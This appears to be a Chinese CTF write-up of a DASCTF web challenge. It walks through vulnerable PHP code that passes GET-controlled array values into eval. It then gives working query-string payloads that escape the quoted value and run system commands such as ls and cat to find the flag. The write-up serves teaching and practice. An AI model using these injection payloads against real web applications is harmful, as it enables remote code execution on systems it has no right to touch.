DASCTF Oct吉林工师web

迷路的魔法少女

进入环境给出源码

<?php
highlight_file('index.php');

extract($_GET);
error_reporting(0);
function String2Array($data)
{
    if($data == '') return array();
    @eval("\$array = $data;");
    return $array;
}


if(is_array($attrid) && is_array($attrvalue))
{
        $attrstr .= 'array(';
        $attrids = count($attrid);
        for($i=0; $i<$attrids; $i++)
        {
            $attrstr .= '"'.intval($attrid[$i]).'"=>'.'"'.$attrvalue[$i].'"';
            if($i < $attrids-1)
            {
                $attrstr .= ',';
            }
        }
        $attrstr .= ');';
}

String2Array($attrstr);

首先我发现这个eval函数有点怪,bing搜了一下eval执行的代码,然后结合这篇文章本地搭建了一个测试环境

https://blog.csdn.net/weixin_36440677/article/details/115629343

在这里插入图片描述

所以这里思路就很明确了我们要想办法构造一个数组出来

if(is_array($attrid) && is_array($attrvalue))
{
        $attrstr .= 'array(';
        $attrids = count($attrid);
        for($i=0; $i<$attrids; $i++)
        {
            $attrstr .= '"'.intval($attrid[$i]).'"=>'.'"'.$attrvalue[$i].'"';
            if($i < $attrids-1)
            {
                $attrstr .= ',';
            }
        }
        $attrstr .= ');';
}

这段代码就是要把两个数组拼接成一个数组,他就是取attrid的值作为键名,attravalue数组的值作为键值,并且需要注意的是eval会执行的是数组的键值而不是键名,所以我们嘚想方法让恶意代码作为数组单独的键值逃逸出来

构造如下payload

?attrid[0]=0&attrvalue[0]=");system(%27ls%27);//

代码执行成功

在这里插入图片描述

接下来依旧是找flag的游戏最后发现flag在这里面

?attrid[0]=0&attrvalue[0]=");system(%27cat%20/etc/timezone%27);// 

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值